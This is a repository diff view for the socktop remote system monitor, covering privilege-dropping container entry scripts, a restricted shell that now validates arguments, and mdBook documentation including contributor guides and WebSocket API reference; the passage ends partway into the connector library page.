chown socktop:socktop "${SOCKTOP_HOME}/.config/socktop/profiles.json" 2>/dev/null || true
fi
echo " ✓ Updated certificate paths"
fi
# Verify final permissions
echo "Verifying permissions..."
ls -la "${SOCKTOP_HOME}/.config/" 2>&1 || echo " ⚠ Could not list config directory"
echo "==================================="
echo "Configuration initialization complete"
echo "==================================="
# Switch to socktop user only if running as root
if [ "$(id -u)" -eq 0 ]; then
echo "Switching to socktop user and executing: $@"
exec runuser -u socktop -- "$@"
else
echo "Already running as non-root user ($(whoami)), continuing..."
exec "$@"
fi
+27 -5
View File
@@ -12,7 +12,7 @@ CYAN='\033[0;36m'
NC='\033[0m' # No Color NC='\033[0m' # No Color
# History file # History file
HISTFILE="/home/socktop/.socktop_history" HISTFILE="${HOME:-/tmp}/.socktop_history"
HISTSIZE=1000 HISTSIZE=1000
# Load history from file # Load history from file
@@ -132,13 +132,35 @@ main() {
case "$cmd" in case "$cmd" in
socktop) socktop)
# Allow socktop with any arguments # Allow socktop with validated arguments only
if [ "$cmd" = "$input" ]; then if [ "$cmd" = "$input" ]; then
# No arguments, use default (local profile) # No arguments, use default (local profile)
/usr/bin/socktop -P local /usr/bin/socktop --no-kill -P local
else else
# Pass arguments to socktop # Validate and sanitize arguments to prevent command injection
/usr/bin/socktop $args # Only allow: -P <profile_name> or ws://<url>
# Check for profile argument (-P followed by safe profile name)
if [[ "$args" =~ ^-P[[:space:]]+[a-zA-Z0-9_-]+$ ]]; then
# Extract profile name and validate it
profile=$(echo "$args" | sed 's/-P[[:space:]]\+//')
/usr/bin/socktop --no-kill -P "$profile"
# Check for websocket URL (ws:// or wss://)
elif [[ "$args" =~ ^wss?://[a-zA-Z0-9\.\:/_-]+$ ]]; then
# Validate websocket URL format
/usr/bin/socktop --no-kill "$args"
else
# Reject anything else as potentially dangerous
echo -e "${RED}Error:${NC} Invalid arguments for socktop"
echo -e "${YELLOW}Allowed usage:${NC}"
echo " socktop - Use default local profile"
echo " socktop -P <profile> - Use named profile (alphanumeric, dash, underscore only)"
echo " socktop <ws_url> - Connect to websocket URL (ws:// or wss://)"
echo ""
echo -e "${YELLOW}Examples:${NC}"
echo " socktop -P rpi-master"
echo " socktop ws://192.168.1.100:3000"
fi
fi fi
;; ;;
help|--help|-h) help|--help|-h)
+29
View File
@@ -0,0 +1,29 @@
#!/bin/bash
# Per-session entry point spawned by webterm-server for every websocket
# connection. When the server runs as root (the k8s deployment grants only
# CAP_SETUID/CAP_SETGID for exactly this), the session is dropped to the
# unprivileged `demo` user before the restricted shell starts. That makes the
# separation kernel-enforced: whatever a visitor manages to run, signals aimed
# at webterm-server, the socktop agent, or another user's processes fail with
# EPERM instead of relying on UI gating inside socktop.
#
# SOCKTOP_NO_KILL (set at the deployment level) rides through the environment
# untouched — setpriv does not reset the environment.
if [ "$(id -u)" -eq 0 ]; then
export HOME=/home/demo
export USER=demo
export LOGNAME=demo
exec setpriv \
--reuid demo \
--regid demo \
--clear-groups \
--inh-caps -all \
--no-new-privs \
/usr/local/bin/restricted-shell.sh
fi
# Not root (compose/dev, or someone running the image unprivileged): no way to
# switch UID, run the restricted shell directly. The --no-kill flag and the
# SOCKTOP_NO_KILL environment variable still apply.
exec /usr/local/bin/restricted-shell.sh
+10
View File
@@ -0,0 +1,10 @@
# mdBook build output
book/
# Backup files
*.bak
*~
# OS files
.DS_Store
Thumbs.db
+345
View File
@@ -0,0 +1,345 @@
# Contributing to socktop Documentation
Thank you for your interest in improving the socktop documentation!
## Quick Start
1. **Install documentation tools:**
```bash
./setup-docs.sh
```
2. **Make your changes** to the relevant `.md` files in `src/`
3. **Test locally:**
```bash
mdbook serve
```
Open http://localhost:3000 to preview
4. **Submit a pull request** with your changes
## Documentation Structure
```
docs/src/
├── SUMMARY.md # Table of contents (edit when adding pages)
├── introduction.md # Project overview
├── installation/ # Installation guides
├── usage/ # Usage documentation
├── security/ # Security guides
└── advanced/ # Advanced topics
```
## Writing Guidelines
### Style Guide
- **Be clear and concise** - Users want answers, not prose
- **Use active voice** - "Run the command" not "The command should be run"
- **Include examples** - Show, don't just tell
- **Test your code** - Verify all commands and code examples work
- **Link related content** - Help users discover related topics
### Markdown Formatting
Use standard Markdown with these conventions:
#### Code Blocks
Always specify the language:
~~~markdown
```bash
cargo install socktop
```
```rust
use socktop_connector::*;
```
```toml
[profiles.server]
url = "ws://localhost:3000"
```
~~~
#### Command Examples
Show both the command and expected output:
```bash
# Check version
socktop --version
# Output: socktop 1.50.2
```
#### Admonitions
Use clear callouts for important information:
```markdown
**Note:** This requires root permissions.
**Warning:** This will delete all data.
**Tip:** Use Ctrl+C to exit.
```
#### Links
Use descriptive link text:
```markdown
✅ Good: See [Agent Service Setup](../installation/agent-service.md)
❌ Bad: Click [here](../installation/agent-service.md)
```
### Page Structure
Each page should follow this template:
```markdown
# Page Title
Brief introduction explaining what this page covers.
## Section 1
Content...
### Subsection 1.1
More specific content...
## Section 2
More content...
## Next Steps
- [Related Topic 1](./related-topic-1.md)
- [Related Topic 2](./related-topic-2.md)
<!-- TODO: Add more documentation -->
<!-- TODO: Add specific improvements needed -->
```
## Adding New Pages
1. **Create the file** in the appropriate directory:
```bash
touch src/installation/new-guide.md
```
2. **Add to SUMMARY.md** in the correct section:
```markdown
# Installation
- [Quick Start](./installation/quick-start.md)
- [New Guide](./installation/new-guide.md) # Add here
```
3. **Write the content** following the guidelines above
4. **Test the build:**
```bash
mdbook build
mdbook serve
```
5. **Check for broken links:**
- Navigate to your new page
- Click all internal links
- Verify they work correctly
## Updating Existing Pages
1. **Edit the `.md` file** directly
2. **Maintain consistency:**
- Keep the same writing style
- Don't remove useful examples
- Update version numbers if needed
3. **Update related pages** if your changes affect them
4. **Test thoroughly:**
```bash
mdbook serve
```
## TODO Comments
Use TODO comments to mark areas needing work:
```markdown
<!-- TODO: Add more documentation -->
<!-- TODO: Add screenshots -->
<!-- TODO: Add video demonstration -->
<!-- TODO: Expand with more examples -->
```
These help identify areas for future improvement.
## Screenshots and Images
When adding images:
1. **Create an `images/` directory** in the relevant section:
```bash
mkdir -p src/installation/images
```
2. **Use descriptive filenames:**
```
✅ Good: installation-apt-repository.png
❌ Bad: screenshot1.png
```
3. **Reference in Markdown:**
```markdown
![APT Repository Setup](./images/installation-apt-repository.png)
```
4. **Optimize images:**
- Use PNG for screenshots
- Use JPG for photos
- Compress to reduce file size
- Maximum width: 1200px
## Code Examples
### Shell Scripts
```bash
#!/bin/bash
# Always include a description comment
# Use descriptive variable names
SERVER_URL="ws://localhost:3000"
# Show error handling
if ! command -v socktop &> /dev/null; then
echo "Error: socktop not installed"
exit 1
fi
# Clear, commented steps
socktop "$SERVER_URL"
```
### Rust Code
```rust
// Include necessary imports
use socktop_connector::*;
// Add comments for complex logic
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// Connect to agent
let mut connector = connect_to_socktop_agent("ws://localhost:3000/ws").await?;
// Request metrics
match connector.request(AgentRequest::Metrics).await {
Ok(AgentResponse::Metrics(m)) => {
println!("CPU: {:.1}%", m.cpu_total);
}
Err(e) => eprintln!("Error: {}", e),
_ => unreachable!(),
}
Ok(())
}
```
### Configuration Files
Always show complete, working examples:
```toml
# ~/.config/socktop/profiles.toml
[profiles.production]
url = "wss://prod.example.com:3000"
token = "your-token-here"
ca_cert = "/etc/ssl/certs/ca.pem"
verify_tls = true
```
## Testing Your Changes
### Local Preview
```bash
# Start development server
mdbook serve
# Open in browser
# Navigate to your changed pages
# Verify formatting and links
```
### Build Test
```bash
# Clean build
rm -rf book/
mdbook build
# Check for warnings
# Fix any broken links or errors
```
### Cross-Reference Check
- Click all internal links
- Verify they point to correct pages
- Check that anchor links work
- Test external links
## Submitting Changes
1. **Commit with clear messages:**
```bash
git add docs/src/installation/new-guide.md
git commit -m "docs: Add new installation guide for Docker"
```
2. **Push to your fork:**
```bash
git push origin docs/docker-install
```
3. **Create pull request:**
- Describe what you added/changed
- Explain why it's needed
- Link to any related issues
## Documentation Priorities
Focus on these high-impact areas:
1. **Missing content** marked with TODO comments
2. **User-reported confusion** from issues/discussions
3. **New features** that need documentation
4. **Common questions** that arise frequently
5. **Error scenarios** and troubleshooting
## Getting Help
- **Questions?** Open a discussion on GitHub
- **Found a bug in docs?** Open an issue with the "documentation" label
- **Want to discuss major changes?** Start with an issue before writing
## Recognition
All documentation contributors will be acknowledged in:
- Git history
- Contributors list
- Release notes (for significant contributions)
## Thank You!
Good documentation is crucial for project success. Your contributions help users get started faster and use socktop more effectively. Thank you for helping improve the documentation! 🎉
+201
View File
@@ -0,0 +1,201 @@
# Documentation Corrections Summary
This document lists all corrections made to the socktop documentation to align with the actual implementation as documented in the official README.
## Date: 2025-01-XX
## Critical Corrections Made
### 1. Missing GPU Dependencies ✅ FIXED
**Issue:** Documentation failed to mention required GPU support libraries.
**Fix:** Added `libdrm-dev` and `libdrm-amdgpu1` to:
- `docs/src/installation/prerequisites.md`
- `docs/src/installation/quick-start.md`
- `docs/src/installation/apt.md`
- `docs/src/installation/cargo.md`
**Reason:** These libraries are explicitly required in the README for GPU metrics support on Raspberry Pi, Ubuntu, and PopOS.
---
### 2. TLS Certificate Auto-Generation ✅ FIXED
**Issue:** Documentation incorrectly instructed users to manually generate certificates with OpenSSL.
**Actual Behavior:** The agent automatically generates self-signed certificates on first run when `--enableSSL` is used.
**Files Updated:**
- `docs/src/security/tls.md` - Completely rewrote the "Quick Start" section to reflect auto-generation
- Added information about certificate location (`$XDG_CONFIG_HOME/socktop_agent/tls/cert.pem`)
- Added information about `SOCKTOP_AGENT_EXTRA_SANS` environment variable
- Updated certificate renewal section to explain simple deletion and restart process
**Key Changes:**
- Changed from manual OpenSSL commands to simple `socktop_agent --enableSSL --port 8443`
- Documented that certificate is auto-generated and location is printed on first run
- Updated expiry information (~397 days)
- Moved manual generation to "Manual Certificate Generation" section for advanced users only
---
### 3. Fabricated Command-Line Options ✅ FIXED
**Issue:** Documentation extensively referenced non-existent options.
**Fabricated Options:**
- `--refresh-rate` (does not exist)
- `--ca-cert` (actual flag is `--tls-ca`)
- `--no-verify-tls` (does not exist in this form)
**Correct Options:**
- `--metrics-interval-ms` (default: 500ms) - Controls fast metrics polling
- `--processes-interval-ms` (default: 2000ms) - Controls process list polling
- `--tls-ca` - Specify CA certificate for TLS verification
- `--verify-hostname` - Enable strict hostname verification
**Files Updated:**
- `docs/src/usage/general.md` - Fixed command-line options and examples
- `docs/src/usage/configuration.md` - Fixed interval examples
- `docs/src/usage/connection-profiles.md` - Fixed override examples
- `docs/src/security/tls.md` - Fixed TLS option references
- `docs/src/security/token.md` - Fixed CA cert flag
---
### 4. Profile Format Fabrication ✅ FIXED
**Issue:** Documentation claimed profiles are stored in TOML format.
**Actual Format:** Profiles are stored as JSON in `~/.config/socktop/profiles.json`
**Correct Structure:**
```json
{
"profiles": {
"prod": {
"url": "ws://prod-host:3000/ws",
"tls_ca": "/path/to/cert.pem",
"metrics_interval_ms": 500,
"processes_interval_ms": 2000
}
},
"version": 0
}
```
**Files Updated:**
- `docs/src/usage/connection-profiles.md` - Completely rewrote profile examples to use JSON
- `docs/src/security/tls.md` - Fixed profile examples
- `docs/src/security/token.md` - Fixed profile examples and file paths
**Note:** Many examples in connection-profiles.md still need updating (see "Remaining Issues" below).
---
### 5. Protocol Description ✅ FIXED
**Issue:** Documentation claimed WebSocket protocol uses Protocol Buffers.
**Actual Protocol:** JSON over WebSocket (as stated in README: "Remote monitoring via WebSocket (JSON over WS)")
**Files Updated:**
- `docs/src/introduction.md` - Changed "Protocol Buffers" to "JSON"
---
### 6. Demo Mode Documentation ✅ ADDED
**Issue:** Documentation did not mention the built-in demo mode feature.
**Actual Feature:** The `--demo` flag starts a temporary local agent on port 3231 and auto-connects.
**Files Updated:**
- `docs/src/installation/quick-start.md` - Added "Option 3: Demo Mode" section
- `docs/src/usage/general.md` - Added "Demo Mode" as first usage option
- `docs/src/introduction.md` - Added demo mode to features and quick start section
**Key Information Added:**
- `socktop --demo` launches temporary agent on port 3231
- Agent stops automatically when you quit
- Interactive profile selection menu includes built-in `demo` option
- Perfect for testing, learning, and demos without agent setup
---
## Remaining Issues (Known)
### Connection Profiles Documentation
The file `docs/src/usage/connection-profiles.md` still contains many TOML examples that should be JSON:
- Lines ~233-243: Production server examples
- Lines ~265-274: Refresh rate examples (also using wrong option names)
- Lines ~280-287: Environment variable examples
- Lines ~293-302: Template examples
- Lines ~309-319: Raspberry Pi cluster examples
- Lines ~329-339: AWS examples
- Lines ~349-359: Datacenter examples
- Lines ~372-401: Troubleshooting section references
**Recommendation:** These should be converted to JSON format or removed in favor of simpler examples.
### Configuration Documentation
The file `docs/src/usage/configuration.md` may reference TOML in the configuration hierarchy section (line ~9).
---
## Verification Checklist
Before deploying documentation:
- [ ] All `--refresh-rate` references removed
- [ ] All `--ca-cert` changed to `--tls-ca`
- [ ] All `--no-verify-tls` references updated to explain proper behavior
- [ ] All TOML profile examples converted to JSON
- [ ] All file paths reference `.json` not `.toml`
- [ ] GPU dependencies mentioned in all installation paths
- [ ] TLS documentation explains auto-generation as primary method
- [ ] Protocol description says JSON, not Protocol Buffers
---
## Testing Recommendations
1. **Verify actual command-line options:**
```bash
socktop --help
socktop_agent --help
```
2. **Verify profile format:**
- Create a profile using `--profile` flag
- Check `~/.config/socktop/profiles.json` format
3. **Verify TLS auto-generation:**
- Run `socktop_agent --enableSSL --port 8443` on a fresh system
- Confirm certificate is auto-generated
- Check certificate location matches documentation
4. **Verify GPU dependencies:**
- Test installation without `libdrm-dev libdrm-amdgpu1`
- Confirm whether GPU metrics fail or if they're truly required
---
## Lessons Learned
1. **Always verify against source material** - Cross-reference README, actual CLI help, and source code
2. **Don't fabricate features** - If uncertain, mark as TODO rather than guessing
3. **Test commands before documenting** - Verify all command-line examples actually work
4. **Configuration format matters** - JSON vs TOML vs YAML is critical, not interchangeable
5. **Auto-generated features should be documented as such** - Don't make users do manual work when automation exists
---
## References
- Official README: https://github.com/jasonwitty/socktop/blob/master/README.md
- Actual implementation should always take precedence over documentation
+261
View File
@@ -0,0 +1,261 @@
# socktop Documentation
This directory contains the source for socktop's comprehensive documentation built with [mdBook](https://rust-lang.github.io/mdBook/) and styled with the Catppuccin Frappe theme.
## Quick Start
```bash
# Install and build documentation
./setup-docs.sh
# Or manually:
cargo install mdbook mdbook-catppuccin
cd docs && mdbook-catppuccin install && mdbook build
# Serve with live reload
mdbook serve --open
```
## What's Included
📚 **6,400+ lines** of comprehensive documentation covering:
- **Installation**: Quick start, prerequisites, Cargo, APT, systemd service, upgrading
- **Usage**: General usage, connection profiles, keyboard controls, configuration
- **Security**: Authentication tokens, TLS/SSL setup
- **Advanced**: tmux/Zellij integration, agent library, connector API
## Building the Documentation
### Automated Setup (Recommended)
```bash
./setup-docs.sh
```
This script will:
- Check for Rust/Cargo installation
- Install mdbook and mdbook-catppuccin
- Install Catppuccin theme assets
- Build the documentation
- Provide next steps
### Manual Setup
1. **Install tools:**
```bash
cargo install mdbook
cargo install mdbook-catppuccin
```
2. **Install theme:**
```bash
cd docs
mdbook-catppuccin install
```
3. **Build:**
```bash
mdbook build
```
4. **Serve locally:**
```bash
mdbook serve
```
Open http://localhost:3000
### Automatic Build (During Compilation)
Documentation builds automatically when compiling the project:
```bash
# From project root
cargo build
```
Built docs are copied to `static/docs/` and served at `/assets/docs/`
## Documentation Structure
```
docs/
├── book.toml # mdBook configuration with Catppuccin
├── README.md # This file
├── CONTRIBUTING.md # Contributor guidelines
├── setup-docs.sh # Automated setup script
├── .gitignore # Ignore build artifacts
└── src/
├── SUMMARY.md # Table of contents
├── introduction.md # Project overview
├── installation/ # Installation guides (6 pages)
│ ├── quick-start.md
│ ├── prerequisites.md
│ ├── cargo.md
│ ├── apt.md
│ ├── agent-service.md
│ └── upgrading.md
├── usage/ # Usage guides (4 pages)
│ ├── general.md
│ ├── connection-profiles.md
│ ├── keyboard-mouse.md
│ └── configuration.md
├── security/ # Security documentation (2 pages)
│ ├── token.md
│ └── tls.md
└── advanced/ # Advanced topics (4 pages)
├── tmux.md
├── zellij.md
├── agent-integration.md
└── connector.md
```
## Adding New Pages
1. **Create the file** in the appropriate directory:
```bash
touch src/installation/new-guide.md
```
2. **Add to SUMMARY.md** in the correct section:
```markdown
# Installation
- [Quick Start](./installation/quick-start.md)
- [New Guide](./installation/new-guide.md) # Add here
```
3. **Write content** following the [CONTRIBUTING.md](./CONTRIBUTING.md) guidelines
4. **Test:**
```bash
mdbook serve
```
5. **Commit:**
```bash
git add src/installation/new-guide.md src/SUMMARY.md
git commit -m "docs: Add new installation guide"
```
## Writing Guidelines
### Style
- ✅ Clear and concise language
- ✅ Active voice ("Run the command" not "The command should be run")
- ✅ Include working code examples
- ✅ Add `<!-- TODO: -->` comments for incomplete sections
- ✅ Link to related pages
### Code Examples
Always specify the language:
````markdown
```bash
cargo install socktop
```
```rust
use socktop_connector::*;
```
```toml
[profiles.server]
url = "ws://localhost:3000"
```
````
### Structure
Each page should have:
- Clear title
- Brief introduction
- Logical sections with headings
- Code examples
- "Next Steps" section with related links
- TODO comments for future improvements
See [CONTRIBUTING.md](./CONTRIBUTING.md) for detailed guidelines.
## Catppuccin Theme
The documentation uses the [Catppuccin Frappe](https://github.com/catppuccin/catppuccin) theme to match socktop's TUI color scheme.
**Features:**
- Dark theme optimized for readability
- Syntax highlighting for code blocks
- Beautiful, consistent color palette
- Matches socktop terminal UI
**Installation:**
```bash
mdbook-catppuccin install
```
## Accessing the Documentation
### Via Web Interface
1. Start webterm server: `cargo run`
2. Open http://localhost:8082
3. Click "Docs" button
4. Documentation opens in browser
### Direct File Access
Open `docs/book/index.html` in any browser
### Published Online
- Production: https://socktop.io/docs/ (when deployed)
- Local dev: http://localhost:8082/assets/docs/
## Maintenance
### Update Theme
```bash
cd docs
mdbook-catppuccin install
```
### Clean Build
```bash
rm -rf book/
mdbook build
```
### Check for Broken Links
```bash
mdbook build
# Navigate through all pages in browser
# Click all internal links to verify
```
## Contributing
See [CONTRIBUTING.md](./CONTRIBUTING.md) for detailed contributor guidelines.
**Quick tips:**
- Focus on TODO-marked sections first
- Test all code examples before committing
- Include screenshots when helpful
- Cross-reference related topics
- Keep examples minimal and focused
## Documentation Statistics
- **Total Pages**: 18 (including SUMMARY and introduction)
- **Total Lines**: 6,400+ lines of Markdown
- **Code Examples**: 200+ code blocks
- **Sections**: 4 major sections
- **Topics**: 31+ distinct topics covered
## Support
- **Questions?** Open a GitHub discussion
- **Found errors?** Open an issue with "documentation" label
- **Want to contribute?** See [CONTRIBUTING.md](./CONTRIBUTING.md)
## Recognition
All documentation contributors are acknowledged in:
- Git commit history
- Contributors list
- Release notes (for significant contributions)
Thank you for helping improve socktop documentation! 🚀
+44
View File
@@ -0,0 +1,44 @@
[book]
authors = ["Jason Witty"]
language = "en"
src = "src"
title = "socktop Documentation"
description = "Comprehensive documentation for socktop - A TUI-first remote system monitor"
[build]
create-missing = false
[output.html]
default-theme = "frappe"
preferred-dark-theme = "frappe"
git-repository-url = "https://github.com/jasonwitty/socktop"
site-url = "/socktop/"
cname = "socktop.io"
additional-css = ["./theme/catppuccin.css"]
additional-js = ["./theme/catppuccin-themes.js"]
no-section-label = true
sidebar-header-nav = false
[output.html.fold]
enable = false
level = 0
[output.html.search]
enable = true
limit-results = 30
teaser-word-count = 30
use-boolean-and = true
boost-title = 2
boost-hierarchy = 1
boost-paragraph = 1
expand = true
[output.html.print]
enable = true
[output.html.playground]
editable = false
copyable = true
copy-js = true
line-numbers = false
runnable = false
+57
View File
@@ -0,0 +1,57 @@
#!/bin/bash
# Setup script for socktop documentation tools
set -e
echo "🚀 Setting up socktop documentation tools..."
echo ""
# Check if cargo is installed
if ! command -v cargo &> /dev/null; then
echo "❌ Error: cargo is not installed"
echo " Please install Rust first: https://rustup.rs/"
exit 1
fi
echo "✓ Cargo found"
# Install mdbook
echo ""
echo "📚 Installing mdbook..."
if command -v mdbook &> /dev/null; then
echo "✓ mdbook is already installed ($(mdbook --version))"
else
cargo install mdbook
echo "✓ mdbook installed successfully"
fi
# Download Catppuccin theme CSS
echo ""
echo "🎨 Downloading Catppuccin theme CSS..."
cd "$(dirname "$0")"
mkdir -p theme
# Download the CSS file
curl -fsSL https://github.com/catppuccin/mdBook/releases/latest/download/catppuccin.css \
-o theme/catppuccin.css
echo "✓ Catppuccin theme CSS downloaded"
# Build documentation
echo ""
echo "🔨 Building documentation..."
mdbook build
echo "✓ Documentation built successfully"
echo ""
echo "✅ Setup complete!"
echo ""
echo "Next steps:"
echo " • View docs: mdbook serve --open"
echo " • Build docs: mdbook build"
echo " • Clean docs: rm -rf book/"
echo ""
echo "The documentation will also be built automatically when you run 'cargo build'."
echo "It will be served at http://localhost:8082/assets/docs/ when running the webterm server."
echo ""
echo "Note: Using default mdBook themes with Catppuccin CSS overlay."
+10
View File
@@ -0,0 +1,10 @@
#!/bin/bash
# Download default mdbook theme files
curl -L https://raw.githubusercontent.com/rust-lang/mdBook/master/src/theme/index.hbs > docs/theme/index.hbs
# Replace theme buttons with Catppuccin flavors
sed -i 's/<li role="none"><button role="menuitem" class="theme" id="light">Light<\/button><\/li>/<li role="none"><button role="menuitem" class="theme" id="latte">Latte<\/button><\/li>/' docs/theme/index.hbs
sed -i 's/<li role="none"><button role="menuitem" class="theme" id="rust">Rust<\/button><\/li>/<li role="none"><button role="menuitem" class="theme" id="frappe">Frappé<\/button><\/li>/' docs/theme/index.hbs
sed -i 's/<li role="none"><button role="menuitem" class="theme" id="coal">Coal<\/button><\/li>/<li role="none"><button role="menuitem" class="theme" id="macchiato">Macchiato<\/button><\/li>/' docs/theme/index.hbs
sed -i 's/<li role="none"><button role="menuitem" class="theme" id="navy">Navy<\/button><\/li>/<li role="none"><button role="menuitem" class="theme" id="mocha">Mocha<\/button><\/li>/' docs/theme/index.hbs
sed -i '/<li role="none"><button role="menuitem" class="theme" id="ayu">Ayu<\/button><\/li>/d' docs/theme/index.hbs
+28
View File
@@ -0,0 +1,28 @@
# Summary
[Introduction](./introduction.md)
- [Installation]()
- [Quick Start](./installation/quick-start.md)
- [Prerequisites](./installation/prerequisites.md)
- [Install via Cargo](./installation/cargo.md)
- [Install via APT](./installation/apt.md)
- [Agent Service Setup](./installation/agent-service.md)
- [Upgrading](./installation/upgrading.md)
- [Platform Notes](./installation/platform-notes.md)
- [Usage]()
- [General Usage](./usage/general.md)
- [Connection Profiles](./usage/connection-profiles.md)
- [Keyboard and Mouse Controls](./usage/keyboard-mouse.md)
- [Configuration](./usage/configuration.md)
- [Security]()
- [Authentication Token](./security/token.md)
- [TLS Configuration](./security/tls.md)
- [Advanced]()
- [Monitor Multiple Hosts with tmux](./advanced/tmux.md)
- [Monitor Multiple Hosts with Zellij](./advanced/zellij.md)
- [Agent Direct Integration](./advanced/agent-integration.md)
- [Socktop Connector Library](./advanced/connector.md)
+186
View File
@@ -0,0 +1,186 @@
# WebSocket API Integration
Integrate with the socktop agent's WebSocket API to build custom monitoring tools. If you're writing Rust, prefer the [socktop_connector library](./connector.md), which wraps all of this.
## WebSocket Endpoint
```
ws://HOST:PORT/ws # Without TLS
wss://HOST:PORT/ws # With TLS
```
With authentication token (if configured):
```
ws://HOST:PORT/ws?token=YOUR_TOKEN
wss://HOST:PORT/ws?token=YOUR_TOKEN
```
The agent also serves `GET /healthz` over plain HTTP, returning `200 OK` — useful for liveness probes.
## Request Types
Requests are **plain text WebSocket messages** (not JSON). The agent replies with one message per request:
| Request | Response |
|---|---|
| `get_metrics` | JSON — fast-changing metrics (CPU, memory, network, GPU) |
| `get_disks` | JSON — array of disk/partition entries |
| `get_processes` | Binary — protobuf process list, gzip-compressed above ~768 bytes |
| `get_process_metrics:<PID>` | JSON — detailed metrics for one process |
| `get_journal_entries:<PID>` | JSON — recent journal entries for one process |
Unknown messages are ignored. The agent is fully request-driven: it collects nothing until you ask, and short TTL caches (metrics 250 ms, disks 1 s, processes 1.5 s) mean multiple clients share collection work.
## Response Formats
### `get_metrics` (JSON)
```json
{
"sampled_at_ms": 1755900000000,
"cpu_total": 12.4,
"cpu_per_core": [11.2, 15.7],
"mem_total": 33554432,
"mem_used": 18321408,
"swap_total": 0,
"swap_used": 0,
"hostname": "myserver",
"cpu_temp_c": 42.5,
"disks": [],
"networks": [{"name":"eth0","received":12345678,"transmitted":87654321}],
"top_processes": [],
"gpus": [{"name":"NVIDIA GeForce RTX 5080","utilization_gpu_pct":56,"mem_used_bytes":1073741824,"mem_total_bytes":8589934592}]
}
```
Notes:
- `sampled_at_ms` (added in 1.60) is the epoch-milliseconds timestamp of when the snapshot was **actually collected** on the agent. Because responses can be served from the TTL cache, compute rates (e.g. network KB/s) from deltas of `sampled_at_ms`, not from your own receive times.
- `disks` and `top_processes` are always empty here — request them separately with `get_disks` / `get_processes`.
- `cpu_temp_c` is `null` when no sensor is available; `gpus` is `null` when there is no GPU (or GPU collection is disabled).
- `received`/`transmitted` are cumulative byte counters since agent start.
### `get_disks` (JSON)
```json
[
{"name":"nvme0n1","total":512000000000,"available":320000000000,"temperature":38.5,"is_partition":false},
{"name":"nvme0n1p2","total":511000000000,"available":320000000000,"temperature":null,"is_partition":true}
]
```
`is_partition` distinguishes partitions from whole disks (exact on Linux via `/sys/block`).
### `get_processes` (Protocol Buffers)
Returned as a binary WebSocket message. If the encoded payload exceeds ~768 bytes (nearly always), it is gzip-compressed. Schema:
```protobuf
syntax = "proto3";
package socktop;
message Processes {
uint64 process_count = 1; // total processes in the system
repeated Process rows = 2; // all processes (sorting is client-side)
}
message Process {
uint32 pid = 1;
string name = 2;
float cpu_usage = 3; // 0..100
uint64 mem_bytes = 4; // RSS bytes
}
```
To decode: check for the gzip magic bytes (`0x1f 0x8b`), decompress if present, then parse with any protobuf library.
### `get_process_metrics:<PID>` and `get_journal_entries:<PID>` (JSON)
Added for the process-details view: per-process detail (command line, executable, working directory, per-thread CPU times in **microseconds**, and more) and recent journal entries. Journal entries carry both a display `timestamp` (RFC 3339 UTC) and a numeric `timestamp_us` (epoch microseconds, added in 1.60); the response's `notice` field, when present, explains empty results caused by journal access restrictions rather than absence of logs. These responses are cached per PID for 250 ms / 1 s respectively.
## Example: JavaScript/Node.js
```javascript
const WebSocket = require('ws');
const ws = new WebSocket('ws://localhost:3000/ws');
ws.on('open', () => {
console.log('Connected to socktop_agent');
// Requests are plain text messages
setInterval(() => ws.send('get_metrics'), 1000);
setInterval(() => ws.send('get_processes'), 3000);
});
ws.on('message', (data, isBinary) => {
if (isBinary) {
// get_processes reply: gzip'd protobuf (see schema above)
console.log('Binary process list, length:', data.length);
} else {
const metrics = JSON.parse(data.toString());
console.log(`CPU: ${metrics.cpu_total}%`);
}
});
```
## Example: Python
```python
import json
import asyncio
import websockets
async def monitor_system():
uri = "ws://localhost:3000/ws"
async with websockets.connect(uri) as websocket:
print("Connected to socktop_agent")
while True:
await websocket.send("get_metrics") # plain text request
response = await websocket.recv()
if isinstance(response, str):
data = json.loads(response)
print(f"CPU: {data['cpu_total']}%, "
f"Memory: {data['mem_used']/data['mem_total']*100:.1f}%")
else:
print(f"Binary response, length: {len(response)}")
await asyncio.sleep(1)
asyncio.run(monitor_system())
```
## Recommended Intervals
- Metrics: ≥ 500 ms
- Processes: ≥ 2000 ms
- Disks: ≥ 5000 ms
Polling faster than the agent's TTL caches (250 ms / 1.5 s / 1 s) just returns cached snapshots.
## Error Handling
Send each request and await its reply before sending the next of the same kind — replies carry no request ID and are matched by order. Wrap requests in a timeout and treat a timeout as a dead connection: reconnect rather than continuing on a stream that may now be misaligned.
```javascript
function connect() {
const ws = new WebSocket('ws://localhost:3000/ws');
ws.on('open', () => {
// Start polling
});
ws.on('close', () => {
console.log('Connection lost, reconnecting...');
setTimeout(connect, 1000);
});
}
connect();
```
## Compatibility
Wire changes are additive: new fields (like `sampled_at_ms` and `timestamp_us`) appear alongside old ones, so integrations built against older agents keep working against newer ones and vice versa.
+426
View File
@@ -0,0 +1,426 @@
# Socktop Connector Library
The `socktop_connector` library provides a high-level interface for connecting to socktop agents programmatically.
## Overview
The connector library allows you to:
- **Build custom monitoring tools** - Create your own dashboards and UIs
- **Integrate with existing systems** - Add socktop metrics to your applications
- **Automate monitoring** - Script-based system checks and alerts
- **WASM support** - Use in browser-based applications
## Installation
Add to your `Cargo.toml`:
```toml
[dependencies]
socktop_connector = "1.60"
tokio = { version = "1", features = ["full"] }
```
## Quick Start
### Basic Connection
```rust
use socktop_connector::{connect_to_socktop_agent, AgentRequest, AgentResponse};
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// Connect to agent
let mut connector = connect_to_socktop_agent("ws://localhost:3000/ws").await?;
// Request metrics
if let Ok(AgentResponse::Metrics(metrics)) = connector.request(AgentRequest::Metrics).await {
println!("Hostname: {}", metrics.hostname);
println!("CPU Usage: {:.1}%", metrics.cpu_total);
println!("Memory: {:.1} GB / {:.1} GB",
metrics.mem_used as f64 / 1_000_000_000.0,
metrics.mem_total as f64 / 1_000_000_000.0);
}
Ok(())
}
```
### With TLS
```rust
use socktop_connector::connect_to_socktop_agent_with_tls;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let connector = connect_to_socktop_agent_with_tls(
"wss://secure-host:8443/ws",
"/path/to/cert.pem",
false // verify_hostname: false = pin the certificate (default socktop behavior)
).await?;
// Use connector...
Ok(())
}
```
## Request Types
The connector supports several request types:
### Metrics Request
Get comprehensive system metrics:
```rust
use socktop_connector::{AgentRequest, AgentResponse};
match connector.request(AgentRequest::Metrics).await {
Ok(AgentResponse::Metrics(metrics)) => {
println!("CPU Total: {:.1}%", metrics.cpu_total);
// Per-core usage
